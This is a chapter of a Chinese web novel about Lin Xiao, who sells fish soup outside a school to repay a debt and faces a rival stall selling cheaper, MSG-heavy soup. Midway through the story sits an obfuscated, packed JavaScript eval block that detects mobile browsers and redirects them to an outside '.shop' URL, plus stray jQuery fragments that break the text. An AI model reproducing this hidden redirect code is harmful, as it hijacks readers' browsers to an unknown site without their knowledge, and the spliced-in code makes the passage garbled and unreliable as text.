自制饵比商品饵好使，这个结论已经验证过了。但好使归好使，她还需要更多的数据和经验。
比如：什么天气用自制饵最好？什么钓位用自制饵最有效？蜂蜜多加一点还是少加一点？
这些问题没有现成的答案，还得一个一个试。
至于那条两斤多的鲤鱼，虽然不能拿去卖，却给了她一个启发。
有些鱼适合学校门口卖，有些不适合。鲫鱼适合，黄辣丁适合，但鲤鱼不适合，草鱼也不适合，任何刺多的鱼都不适合。
她要找的“爆款”，应该是那种肉嫩、刺少、好做、客人爱吃。
三文鱼？太贵，学校门口卖不动。
鲈鱼？不错，但本地河里鲈鱼不多。
带鱼？海鱼，要先去解锁海水区才行。
林笑在脑子里把能想到的鱼过了一遍，最后也没想出个特别合适的。
她把这件事暂时放到一边，先把眼前的鲫鱼汤和黄辣丁汤做好。
赚钱还债是当务之急，其他的事可以慢慢来。
【今日总结】
【钓鱼收获：鲫鱼15条，鲤鱼1条（2.1斤）】
【自制饵上鱼率提升15%，效果显著】
【鲤鱼不适合学校场景，建议自行食用或另寻销售渠道】
【当前债务：101，500元（已还500元）】
林笑看着“已还500元”这行字，忍不住多看了两眼。
五百块，不多，但这是她摆摊以来攒下的第一笔可以还债的钱。
她今天上午抽空去找了老张，还了五百，老张说“不急不急”，但她还是坚持还了。
债是一点一点还的，日子是一天一天过的。
谁的钱都不是大风刮来的，还的是少了一点，但起码她得做出这个还债的态度。
林笑躺在藤椅上，把被子拉过来盖在身上。
院子里的枇杷树被风吹得沙沙响，树上的青果子比上周又大了一圈，再过个把月应该就能吃了。
她却无心遐想这些，脑子里满满都是明天的行程。
明天，继续用自制饵。
明天，继续钓鲫鱼。
明天，继续卖汤。
她闭上眼睛，在心里默默地把明天的计划过了一遍。
钓鱼、出摊、收摊、备料、学菜，日复一日，像河水一样慢慢地流着。
但河水每流一天，就离大海近一点。
*
林笑注意到那个新摊位的时候，正在往汤锅里加豆腐。
一辆崭新的不锈钢推车，停在老槐树对面，离她不到二十米。
推车上挂着一块大红招牌，金色大字写着“老火靓汤”，旁边还印了一排小字——“正宗广式煲汤，每日新鲜熬制”。
推车后面站着一个四十多岁的女人，烫着卷发，围着一条白围裙，围裙前面印着一只卡通母鸡。
她正在往几个保温桶上贴价格标签，动作很大，生怕别人看不到。
林笑手里的勺子顿了一下。
这个位置，以前从来没人摆过摊。
卷发女人也看到了林笑，两个人的目光在半空中碰了一下。
女人笑了笑，笑得很有礼貌，但林笑总觉得那个笑容里带着点别的什么意思。
可能她想多了。
“小姑娘，你也卖汤啊？”卷发女人隔着马路喊了一句。
“嗯，鱼汤。”林笑友好的回应。
“巧了，我也卖汤，我这是老火靓汤，煲了四个小时的。”女人拍了拍保温桶，“你那个现煮的跟我这个不一样，咱们不冲突。”
林笑笑了笑，没接话，低头继续煮汤。
第一天，她没太在意。
第二天，她发现不对劲了。
卷发女人的定价比她低得多。
她卖十二块钱一份的鲫鱼汤，对方卖十块，而且还送一小碗米饭。
十块钱有汤有饭，对于送完孩子顺便吃个早餐的家长来说，确实有吸引力。
更麻烦的是，对方还推出了“买五送一”的活动。
林笑亲眼看到一个家长在对面买了五份汤，拎着六个袋子走了。
六份汤六十块钱，在她这边买五份要六十块，还少一份。
生意的变化来得很快。
这周三之前，她每天能卖二十五到三十份汤。
今天到现在才卖了十五份，对面的推车前排着五六个人，她这边零零散散地来一个，买了就走，连队都不用排。
十点半收摊，林笑数了数今天的销量。
十五份。
比昨天少了将近一半。
【今日营业额：180元】
【环比昨日：下降42%】
【提示：检测到竞争对手，建议调整经营策略】
林笑看着面板上的数字，抿了抿嘴，没说话。
她推着车往回走，路过老槐树的时候，对面那个卷发女人正笑呵呵地跟一个客人聊天。
客人问：“你这个汤用什么熬的？”
女人说：“秘方，保密，反正很好喝。”
林笑把推车停在院子里，坐在门槛上发呆。
周婶端着一碗绿豆汤过来的时候，看到她的表情就猜到了七八分。
“怎么了？生意不好？”
林笑把情况说了一遍。
周婶听完，把绿豆汤往她手里一塞：“你先喝，我去尝尝那个人的汤。”说完就往外走，拦都拦不住。
半小时后周婶回来了，表情很复杂。
“我喝了她的汤。”周婶坐下来说，“怎么说呢，第一口觉得味道很重，很鲜，但喝完之后嘴里发干，一直想喝水。”
“味精放多了？”林笑问。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17564783|204689||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“肯定的。”周婶撇了撇嘴，“而且她那汤里没什么料，几块骨头，几片萝卜，汤多料少。你那个汤至少半条鱼加半块豆腐，她是比不了的。”
林笑点了点头，但心里还是不太踏实。
味道好不好是一回事，价格和营销是另一回事。
对方便宜两块还送米饭，对普通顾客来说，这个吸引力太大了。
快到中午的时候，孙老师来了。
她今天没带女儿，一个人过来的，手里提着一个塑料袋，里面装了一个保温杯。
“笑笑，你尝尝这个。”她把保温杯递过来。
“这是什么？”
“对面那个摊子的汤，我早上买了一份，留了点带给你尝尝。”
林笑愣了一下。
孙老师是语文老师，做事一向讲究，她主动把竞争对手的汤带过来，肯定不是单纯让她尝尝味道。
林笑拧开保温杯，倒了一小碗。
汤色偏深，不是奶白色，而是淡淡的褐色，上面漂着几粒枸杞和一小片当归。
她喝了一口，在嘴里含了两秒钟，咽下去。
味精。
而且是放了不少的味精。
汤的鲜味不是食材本身煮出来的，而是味精堆出来的，入口很冲，喝完舌头上发涩，喉咙发干。
汤里的料确实少，几块不知道什么品种的骨头，两三片白萝卜，炖得软烂但没什么滋味。
“怎么样？”孙老师看着她。
林笑把碗放下，皱眉：“味精味太重了。”
“我就知道。”孙老师笑了笑，“我喝了第一口就觉得不对。你知道我为什么特意带过来给你尝吗？”
林笑摇了摇头。
“因为我怕你不知道对方的底细，自己先慌了。”孙老师认真地看着她，“笑笑，你的汤是什么水平，我心里有数。对面那个汤是什么水平，我也心里有数。你不需要降价，不需要送东西，你只需要把你自己做的事情做好。”
林笑沉默了。
她承认，这两天她确实有点慌了。看到对面排长队，自己这边冷冷清清，心里说不着急是假的。
她甚至想过要不要也降价，降到十块，跟对方拼价格。
但孙老师的话让她冷静下来了。
降价，她降得起吗？
一份汤的成本大概四块钱，卖十二块赚八块，卖十块就只赚六块。
少赚两块钱倒不是不能接受，但对方如果继续降价呢？
降到八块？她跟不跟？
跟了，亏本。
不跟，客人跑了。
价格战是个无底洞，谁先跳进去谁先死。
“我不降价。”林笑说。
孙老师笑了：“这就对了。”
当天下午，林笑开始调整自己的经营方式。
她没有降价，而是在别的地方下功夫。